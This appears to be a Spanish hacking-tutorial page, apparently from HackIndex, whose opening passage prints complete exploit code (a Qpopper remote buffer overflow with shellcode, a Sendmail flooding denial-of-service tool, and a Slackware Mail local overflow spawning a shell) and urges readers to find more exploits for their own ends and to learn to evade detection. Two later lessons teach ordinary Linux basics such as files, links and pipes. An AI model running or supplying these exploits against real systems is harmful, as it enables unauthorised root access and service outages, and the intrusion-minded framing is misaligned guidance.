char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=3DOFFSET;
int aux;

fprintf(stderr,”\n!Hispahack Research Team (http://hispahack.ccc.de)\n“);
fprintf(stderr,”Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n“);

if (argc<3) usage(argv[0]);

if (argc=3D=3D4) offset+=3Datol(argv[3]);

ptr=3Dbuffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=3Dstrlen(shellcode);
long_ptr=3D(unsigned long*)ptr;
for(aux=3D0;aux<4;aux++) *(long_ptr++)=3Doffset;
ptr=3D(char *)long_ptr;
*ptr=3D’\0′;

fprintf(stderr,”Buffer size: %d\n”,strlen(buffer));
fprintf(stderr,”Offset: 0x%lx\n\n”,offset);

printf(“USER %s\n”,argv[1]);
sleep(1);
printf(“PASS %s\n”,argv[2]);
sleep(1);
printf(“LIST 1 %s\n”,buffer);
sleep(1);
printf(“uname -a; id\n”);

return(0);
}

————————/end qpop exploit—————————–
**Otro para sendmail

——————–/begin sendmail exploit—————————
/*
against.c – Another Sendmail (and pine ;-) DoS (up to 8.9.2)
(c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

Usage: ./against existing_user_on_victim_host victim_host
Example: ./against nobody lamers.net

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 5
#define LINES 150000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[]) {

printf(“against.c – another Sendmail DoS (up to 8.9.2)\n”);

if (argc-3) {
printf(“Usage: %s victim_user victim_host\n”,argv[0]);
exit(0);
}

hp=3Dgethostbyname(argv[2]);

if (!hp) {
perror(“gethostbyname”);
exit(1);
}

fprintf(stderr,”Doing mess: “);

for (;loop<MAXCONN;loop++) if (!(x=3Dfork())) {
FILE* d;
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=3Dhp->h_addrtype;
s.sin_port=3Dhtons(25);
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))<0) perror(“socket”);
if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror(“connect”);
if (!(d=3Dfdopen(suck,”w”))) { perror(“fdopen”); exit(0); }

usleep(100000);

fprintf(d,”helo tweety\n”);
fprintf(d,”mail from: tweety@polbox.com\n“);
fprintf(d,”rcpt to: %s@%s\n”,argv[1],argv[2]);
fprintf(d,”data\n”);

usleep(100000);

for(loop=3D0;loop<LINES;loop++) {
if (!(loop%100)) fprintf(stderr,”.”);
fprintf(d,”To: x\n”);
}

fprintf(d,”\n\n\nsomedata\n\n\n”);

fprintf(d,”.\n”);

sleep(1);

fprintf(d,”quit\n”);
fflush(d);

sleep(100);
shutdown(suck,2);
close(suck);
exit(0);
}

waitpid(x,&loop,0);

fprintf(stderr,”ok\n”);

return 0;
}

——————/end sendmail exploit—————————
**Para terminar uno de Slackware ;-)

——————/begin mail-slack exploit———————-
/*
* mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
*
* Exploit for /usr/bin/Mail.
* Made specially for Slackware Linux 7.0.
* Based on mailx.c by funkySh.
*
* OBS.: Without fprintf(stderr) is not possible to print the message.
*
* USAGE:
* slack$ ./mail-slak
* type ‘.’ and enter: .
* Cc: too long to edit
* sh-2.03$ id
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char buffer[10000];
char shellcode[] =3D
“\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31″

“\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1″

“\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76″

“\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89″

“\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long getesp(void)
{
__asm__(“movl %esp,%eax”);
}

int main(int argc, char **argv)
{
int x;
long addr =3D getesp() – 18000;

memset(buffer, 0×90, 10000);
memcpy(buffer + 800, shellcode, strlen(shellcode));

for(x =3D 876; x < 9998; x +=3D 4)
*(int *)&buffer[x] =3D addr;

fprintf(stderr, “type ‘.’ and enter: “);

execl(“/usr/bin/Mail”, “/usr/bin/Mail”, “nobody”, “-s”,
“blah”, “-c”, buffer, 0);
}

/* mail-slack.c: EOF */

—————–/end mail-slack exploit————————–
Esto solo ha sido una muestra. Si en rootshell.com utilizais la
untilidad search podreis buscar los exploits relativos a aquellos
programas o servicios que os interesen para vuestros fines }:)).

Bueno…ya esta bien por esta entrega. La proxima nos dedicaremos a
conseguir privilegios de root desde un acceso local y a preparar
nuestras herramientas.

Antes de terminar…ni se os ocurra intentar entrar en ninguna maquina
remota en plan novato apenas sabiendo cuatro cosas, porque dejariais
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que
avancemos os dire algunas cosillas fundamentales para ser casi
invisible…pero no todavia. Por ultimo, aunque no quiero meteros
mucha tela, existen una serie de escaners que auditan redes y que
delatan diversos fallos de seguridad y vulnerabilidades. Anta=F1o
estaba sscan, pero ahora es mucho mejor usar saint o nessus…pero ya
os dire como.

Tened cuidado ahi dentro ;-P


————–2EC61C705517942E3D414456–

  • Share/Bookmark

La Pantalla Negra IV

Sábado, 16 de Junio de 2001

#####################################
## HACKINDEX ##
## http://www.hackindex.org ##
#####################################
Titulo: La pantalla negra IV
Autor: Lokutus
Tema: Linux

La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

Y una vez más entramos en nuestro sistema. Vamos a ver que tipos de ficheros tenemos.

Linux Debian (Potatoe)Login: genaro
password:
[genaro]$_

Vimos en un capítulo anterior, que con la órden “cat”, podemos ver el contenido de un fichero.

[genaro]$ cat fichero.txt
Esto es el contenido de mi fichero
[genaro]$ _

Pero vamos a cotillear otros ficheros, (si estas accediendo con un telnet no hagas la siguiente órden), por ejemplo, vamos a ver que tiene el fichero “less” por dentro.

[genaro]$ cat /usr/bin/less
dsfgvrtyv456v3ty 45 tg fgf f wf werv345v
v 4345v2345v45v3 (pitido)sdf df sdfsd(pitido)
df f wef wefwe(requetepitido) sdf sdf df sdfsdf
[cosas muy raras]$ _

Hemos visto aparecer en la pantalla una sucesión de símbolos raros, pitidos, e incluso, se nos ha desconfigurado la consola.

Si tecleamos algo, las letras han sido cambiadas por símbolos semigráficos.

Para dejar la consola como estaba, se usa la órden “reset”, también se restaura solo cada vez que se rearranca el ordenador, aunque de todas formas, cada vez es más raro que se desconfigure el terminal.

Vamos a entrar en otra sesión. Linux, puede disponer en su consola de varias sesiones virtuales, por defecto hasta siete, pulsando la combinación de teclas “Alt + F2″, vamos a la sesión 2, para volver pues “Alt + F1″, podemos combinar “Alt ” con las teclas F1 hasta F6. F7 normalmente está reservada para XWindow, y para conmutar de X Window a modo texto, es necesario pulsar además la tecla “Control”.

Linux Debian (Potatoe)Login: genaro
password:
[genaro]$ _

Cuando hemos volcado el fichero “less”, nos ha salido los símbolos raros, por que “less” no es un fichero para ser leido, no es un fichero de texto plano, y puede contener, y contiene carácteres que no son imprimibles en la salida estandar.

Para saber que tipo de fichero es un fichero determinado, tenemos la órden “file”.

[genaro]$ file /usr/doc/FAQ/txt/Linux-FAQ
/usr/doc/FAQ/txt/Linux-FAQ: English Text
[genaro]$ file /usr/doc/FAQ/html/Linux-FAQ-1.html
/usr/doc/FAQ/html/Linux-FAQ-1.html:HTML document text
[genaro]$ file /usr/bin/less
/usr/bin/less: ELF 32-bit LSB executable, Intel 80386, version 1,dynamically linked (uses shared libs), stripped
[genaro] _

Del primer documento nos dice que es de texto, o sea, se puede volcar con “cat”, del segundo, que es html, también se puede volcar, aunque veremos el fuente en HTML, y no como lo veríamos con un navegador como el Linx. Y del tercero, nos dice que es un programa. Con este programa, podemos ver los otros dos ficheros.

El comando file, reconoce entre muchos tipos de ficheros, gif, jpeg, midi, y incluso ejecutables de otros sistemas operativos, y no se deja engañar por la extensión del fichero.

Los ficheros, además de crearlos con un editor de textos, se pueden copiar, mover, y borrar.

[genaro]$ cp /usr/bin/less .
[genaro]$ ls -l less
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less
[genaro]$ _

Con la órden anterior, “cp”, hemos copiado el fichero less a nuestro directorio de trabajo, y como esta copia es nuestra, el propietario del fichero es “genaro”, y el grupo propietario es “users”. Con el puntito, hemos indicado el directorio al que queremos copiar el fichero, puesto que “cp” no permite omitir el segundo parámetro y que se tome el directorio actual como destino.

Vamos a observar por un momento el programa “less” original.

[genaro]$ ls -l /usr/bin/less
-rwxr-xr-x 1 root root 81236 Aug 28 1999 /usr/bin/less

El tamaño es el mismo, pero pertenece al usuario “root”, o sea, el superusuario, y su grupo propietario es “root”, la fecha de creación también a cambiado.

Si observamos los permisos del fichero,

-rwxr-xr-x

El propietario del fichero, o sea, root, es el único que puede escribir en less (rwx), el grupo propietario sólo puede leer y ejecutar como programa (r-x), y nosotros, los demás usuarios, igual, (r-x).

El primer carácter, indica tipo de fichero:

“-” Fichero ordinario, como programas, mpeg, mp3, txt, …
“d” Directorio, se accede a el con “cd”, “ls”, etc.
“c” Fichero de control de dispositivo en modo caracter.
“b” Fichero de control de dispositivo en modo bloque.
“s” Socket de tipo Unix.
“l” Enlace simbólico.

Si observamos nuestro fichero, tiene los mismos permisos, “-rwxr-xr-x”, pero como nosotros somos el propietario del fichero, podemos escribir en el, e incluso podemos borrarlo si queremos.

TIP: el usuario “root”, también puede acceder y escribir en nuestros ficheros aunque quitemos los permisos.

[genaro]$ mkdir OtroDir
[genaro]$ cd OtroDir
[OtroDir]$ _

Creamos una carpeta nueva, y entramos en ella. Vamos a mover el fichero “less”

[OtroDir]$ mv ../less .
[OtroDir]$ ls -l
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less
[OtroDir]$ _

Si queremos borrarlo, usamos la órden rm

[OtroDir]$ rm less
[OtroDir]$ _

Nuestra copia de “less” ya no existe. Un poco de teoría:

¿Sabéis lo que es un inode?.

Supongamos que tenemos una partición vacía de cualquier sistema operativo tipo Unix, SCO, BSD, ext2fs …

En esa partición vacía, hay una o más zonas, en la que no podremos guardar nuestros datos, pues son para uso administrativo del sistema operativo, esa zona, se divide en partes o “cachitos”, llamados inodes, normalmente no suelen tener más de 100 octetos, aunque pueden ser de mayor tama$ntilde;o, dependiendo del sistema de ficheros.

Cuando creamos un fichero vacio, el sistema operativo, rellena de datos un inode, ¿y qué datos son esos?, el nombre del fichero, en qué sectores del disco duro están, su tamaño o longitud, la fecha de última modificación, etc.

Cuando escribimos datos en el fichero, el inode se actualiza, para reflejar los cambios.

Y ahora pregunto, ¿Qué impide que un fichero tenga dos inodes?, nada. El hecho de que un fichero tenga dos inodes, implica, el que está al mismo tiempo en dos sitios con dos nombres diferentes, o en un mismo directorio con dos nombres distintos.

Eso se llama hacer un enlace.

[genaro]$ ln /usr/bin/less ./paginador
[genaro]$ ls -l paginador
-rwxr-xr-x 2 root root 81236 Aug 28 1999 paginador
[genaro]$ ls -l /usr/bin/less
-rwxr-xr-x 2 root root 81236 Aug 28 1999 /usr/bin/less
[genaro]$ _

Fijaros en dos detalles, despues de los permisos, “-rwxr-xr-x” hay un número 2, donde antes había un “1″. Eso quiere decir, que ese número, es el número de inodes que tiene ese fichero. antes tenía un inode, y ahora uno.

¿Cual es el segundo detalle?, que el fichero “paginador” sigue perteneciendo a “root”, si no fuese así, sería un fallo de seguridad, pues para acceder a cualquier fichero, bastaría con hacer un enlace y podremos modificarlo a nuestro antojo.

Cuando usamos la orden rm para borrar un fichero, lo que hace es eliminar un inode, pero los demas inodes siguen existiendo, el fichero, bloque de datos del fichero, sólo se borra cuando no quedan más inodes.

Tick: repito, cuidado con “>”. Ver capítulo III

Es posible que al intentar hacer el enlace, aparezca un mensaje como el siguiente:

ln: no se puede crear un enlace duro de `./less’ a `/usr/bin/less’: Enlace cruzado entre dispositivos no permitido.

Eso es debido a que se está intentando hacer un enlace a un sistema de ficheros diferente. Por ejemplo:

[genaro]$ df
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda7 606405 188388 386692 33% /
/dev/hda1 23300 2655 19442 12% /boot
/dev/hda9 1756260 820291 845204 49% /home
/dev/hda8 1554262 655666 818273 44% /usr
/dev/hda6 85520 16686 64418 21% /var
[genaro]$ _

Con la orden “df” vemos que particiones tenemos en el disco duro, nosotros estamos en el directorio “/home/genaro”, que está en la partición /dev/hda9 y la órden “less” está en el directorio “/usr/bin” que está en la partición /dev/hda8

A este tipo de enlace se le llama enlace duro. También se pueden hacer enlaces duros, aunque muchos unices no lo permiten, y en muchos sistemas operativos, sólo está permitido a “root” y está fuertemente desaconsejado, eso es debido a que muchas aplicaciones como las utilidades de backup, y todas aquellas que exploren el disco duro para hacer o buscar algo, podrían entrar en un bucle infinito, y terminarían fallando.

Otro tipo de enlaces, son los enlaces simbólicos, estos enlaces son de alguna forma similares a los accesos directos de Windows, o mejor dicho, los accesos directos de Windows son como los enlaces simbólicos de Unix.

Si haceis analizado alguna vez un acceso directo de Windows, en realidad es un fichero PIF, o sea, un fichero que contiene el nombre de otro fichero.

Los enlaces simbólicos son un fichero con el nombre de otro fichero, y tratado de forma especial por el sistema operativo para que lo trate como si fuera el fichero al que apunta.

Para crear un enlace simbólico

[genaro]$ ln -s /usr/bin/less ./pag-simbolico
[genaro]$ ls -l pag-simbolico
lrwxrwxrwx 1 genaro users 13 Mar 22 00:24 pag-simbolico->/usr/bin/less
[genaro]$ _

Observe como el fichero tiene ahora la letra “l” como primer caracter, la “l” indica enlace simbólico.

Por último nos queda por ver los dispositivos controladores. Están todos en el directorio /dev

Existen dos tipos, de caracter y de bloque. Los dispositivos de bloque, tienen soporte de buffer y se accede mediante grandes bloques de datos al mismo tiempo, un ejemplo, son las particiones del disco duro, y el propio disco duro.

/dev/hda Primer disco duro IDE
/dev/hda1 Primera partición del primer disco duro
/dev/sdb Segundo disco SCSI

Si volcaramos con la órden cat un fichero a uno de estos ficheros, escribiríamos directamente a estos ficheros, y por lo tanto, machacaríamos algo, como la tabla de particiones, o el superbloque de una partición linux, o el arranque de un Windows. Por ese motivo, sólo “root” o programas con permisos de root, puede acceder a estos ficheros.

Los ficheros de caracter, como su nombre indica, se accede a ellos caracter a caracter.

/dev/modem por ejemplo, suele ser un enlace simbólico a un dispositivo de caracter

[genaro]$ ls -l /dev/modem
lrwxrwxrwx 1 root root 10 Dec 22 01:05 /dev/modem ->/dev/ttyS1
[genaro]$ ls -l /dev/ttyS1
crw——- 1 root tty 4, 65 Mar 21 22:11 /dev/ttyS1
[genaro]$_

Los programas que acceden al modem, lo hacen como si fuera un fichero convencional, (para los que conozcan el lenguaje “C” fopen(), fread(), fwrite(), fclose(), fprintf(), etc.).

[genaro]$ tty
/dev/tty2
[genaro]$_

La órden anterior, “tty”, nos dice cual es el controlador de dispositivo de nuestra sesión. /dev/tty

Si el usuario “root” estuviera conectado mediante un telnet, podría hacer una gamberrada tal y como

[root] # echo “Tonto el que lo lea” > /dev/tty2

Y en mi pantalla aparecería ese mensaje.

Tick: En las academias, donde todo el mundo consigue por ingeniería social el password de root, es muy posible que cuando la gente se aburre, no se pueda trabajar debido a que todo el mundo envíe mensajitos usando este método.

También es común gamberradas más gordas volcando ficheros de todo tipo.

Como ejercicio de la semana, os propongo a los que tengais tarjeta de sonido y micrófono, que grabeis un fichero de sonido desde el micrófono.

cat /dev/audio > grabación.raw

Y posteriormente lo envieis a los altavoces

cat /grabacion.raw > /dev/audio

No me acuerdo como se cortaba la grabación, ¿control + “c”?

  • Share/Bookmark

La Pantalla Negra III

Sábado, 16 de Junio de 2001

#####################################
## HACKINDEX ##
## http://www.hackindex.org ##
#####################################
Titulo: La pantalla negra III
Autor: Lokutus
Tema: Linux

La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

Y esta semana, con un poco de retraso, Mario bross, no, no vamos a jugar,vamos a tratar los pipes, o tuberías, y los filtros.

Linux Debian (Potatoe)
Login: genaro
password:
[genaro]$ _

Para empezar, necesitamos crear algunos ficheros con datos, para ello podemos utizar un editor de textos, hay varios, el "joe", el "vi", el "jed", y el "emacs" son cuatro de los más populares, el único del que hay garantia de que se puede encontrar en cualquier Unix es el vi, pero es un poco complejo de utilizar, así que vamos a crear un fichero a pelo.

[genaro]$ echo hola
hola
[genaro]$ _

La órden echo, envía a "salida estandar" un mensaje, ¿Y qué eso de salida estandar? Veamos, cualquier aplicación de Unix/Linux, e incluso las aplicaciones de DOS, tienen tres ficheros abiertos, que utilizan para poder funcionar.

El primer fichero es de sólo lectura y se llama "entrada estandar", representa normalmente al teclado, los programas leen a traves de este fichero todo lo que escribimos. Normalmente se conoce a este fichero como stdin.

El segundo fichero es de sólo escritura, y se llama "salida estandar", y representa la salida de nuestro programa, cuando un programa quiere escribir algo en la pantalla, lo que hace es escribir en este fichero.

El tercer fichero, se llama "error estandar", es también de sólo escritura, es similar al anterior, y se usa para imprimir mensajes de error.

He dicho, que la salida estandar representa la pantalla y la entrada estandar, representa el teclado, pero eso no tiene por que ser siempre así. Podemos cambiar la salida estandar de un programa con el operador ">"

[genaro]$ echo hola > fichero.txt
[genaro]$ _

No hemos visto la salida de echo por la pantalla, la salida ha sido redirigida al fichero "fichero.txt".

[genaro] ls
fichero.txt
[genaro] _

Si queremos ver el contenido de ese fichero usamos la orden "cat"

[genaro] cat fichero.txt
hola
[genaro] _

¿Y como podemos añadir más líneas al fichero?, vamos a intentarlo.

[genaro]$ echo linea2 > fichero.txt ; cat fichero.txt
linea2
[genaro]$ _

Recordemos que se pueden meter dos órdenes en una sóla línea si las separamos con un punto y coma.

¿Qué ha pasado?, se ha machacado el archivo y contiene lo último que hemos escrito. Para que no se sobreescriba utilizamos el símbolo ">>".

[genaro]$ echo linea1 > fichero.txt
[genaro]$ echo linea2 >> fichero.txt
[genaro]$ echo linea3 >> fichero.txt
[genaro]$ cat fichero.txt
linea1
linea2
linea3
[genaro]$ _

Cualquier cosa que envíe cosas a pantalla usando la salida estandar puede ser redirigido, por ejemplo la órden "ls", o incluso la orden "cat".

[genaro]$ cat fichero1.txt >> fichero2.txt
[genaro]$ ls
fichero1.txt fichero2.txt
[genaro]$ _

En este caso como fichero2.txt no existía, lo crea nuevo, y en este caso hemos copiado el fichero, ambos tienen el mismo contenido.

TIP 1: Cuidado con el operador ">", puede machacar documentos, pues siempre los crea nuevos.

¿Qué utilidades podemos encontrar redirigiendo la salida estandar?, veamos:

[genaro]$ ls -l /usr/bin

Salen un montón de ficheros y no dá tiempo a verlos.

[genaro]$ ls -l /usr/bin > fichero3.txt
[genaro]$ _

TIP 2: En lugar de teclear de nuevo "ls -l /usr/bin" podemos recuperar las órdenes anteriores con las flechas de cursor y editarlas a nuestra conveniencia. En este caso con pulsar la flecha arriba una vez, aparece "ls -l /usr/bin" y sólo tenemos que añadir " > fichero3.txt

Si usamos la órden cat, para visualizar fichero3.txt, estamos en las mismas, no nos da tiempo a ver nada, usaremos mejor la órden "more"

[genaro]$ more fichero3.txt

muchas lineas

–more–(12%)

Vemos como en esta ocasión. cuando se acaba la pantalla, la salida se para, si pulsamos el retorno de carro, avanzamos una línea, si pulsamos la barra espaciadora, avanzamos una página entera. Salimos del paginador "more" cuando se acaba el documento a visualizar, o bién cuando pulsamos la tecla "q". En linux hay otro paginador mejor que "more", se llama "less", permite avanzar y retroceder por el texto usando las tecla del cursor.

Vamos a probarlo un poco.

[genaro]$ cd /usr/doc/FAQ
[FAQ]$ _

¿Os acordais de los famosos FAQ y los HowTo de Linux de los que muchos hablan, pues están aqui, en este directorio, …

[FAQ]$ ls -l
drwxr-xr-x 5 root root 1024 Dec 22 01:46 ./
drwxr-xr-x 198 root root 5120 Dec 22 01:46 ../
drwxr-xr-x 2 root root 2084 Dec 22 01:46 html/
drwxr-xr-x 2 root root 1024 Dec 22 01:46 ps/
drwxr-xr-x 2 root root 1024 Dec 22 01:46 txt/
[FAQ]$ _

Vemos que hay un directorio para html, (hará falta un navegador web, como el lynx), otro para documentos que están en postscript y otro para ficheros ASCII planos. Un fichero ASCII plano, es un fichero de texto, que no tiene formato, como los que hemos creado hace poco.

[FAQ]$ cd txt
[txt] less Linux-FAQ

Para volver a nuestro directorio, usamos

[txt] cd $HOME
[genaro] _

HOME es una variable de entorno que contiene nuestro directorio de trabajo, se verán en otro capitulo.

Hasta ahora, hemos visto que podemos guardar la salida estandar de un programa en un fichero, y luego, ver cómodamente esa salida estandar con un paginador, como puede ser "less". Pero eso es un poco incómodo, pues podemos llenar el disco duro de ficheros innecesarios, ¿como podemos evitarnos ese paso? Con ayuda de una "tubería", ya era hora que comenzara a hablar de lo que trata este capítulo. Para utilizar una tubería, se utiliza el operador pipe y es este "|", la barra vertical que se consigue pulsando tecla "1" con la tecla "AltGr"

[genaro]$ ls -l /etc/bin | less

Ya podemos ver tranquilamente en la pantalla qué ficheros tenemos en el directorio /etc/bin Para hacerlo más divertido, con la órden tree, podemos obtener un listado de los directorios existentes a partir de un directorio en forma de árbol.

[genaro]$ tree -d /usr | less

Si lo usamos con la opción -a, muestra todo, incluidos los ficheros. Existen otros filtros que se pueden usar con una tubería, uno de los más conocidos es el filtro "sort", que ordena alfabéticamente la entrada estandar. Cuando redireccionamos la "salida estandar" a un fichero, si se produce un error en el programa, el mensaje de error no se imprime en el fichero, si no que se vuelca a la pantalla. Esto es debido a que los mensajes de error se imprimen usando "error estandar", "stderr". Para redireccionar el error estandar.

[genaro]$ cc programa.c -o programa 2>errores.txt

La órden cc, sirve para compilar programas que están escritos en lenguaje "C" y "C++", en el ejemplo, los errores de compilación se enviarán al fichero "errores.txt". Y por último …

[genaro]$ exit

Linux Debian (Potatoe)
Login: genaro
password:
[genaro]$ _

Hoy hemos visto:

  • - Crear ficheros con contenido.
  • - Ver ficheros.
  • - Concepto de entrada estandar, salida estandar y error estandar,
  • - Redireccionamiento de salida estandar y error estandar.
  • - Tuberías.
  • La próxima semana, o sea dentro de pocos días, me extenderé en el tema de los ficheros.

    Lokutus, asimilando la red.

    • Share/Bookmark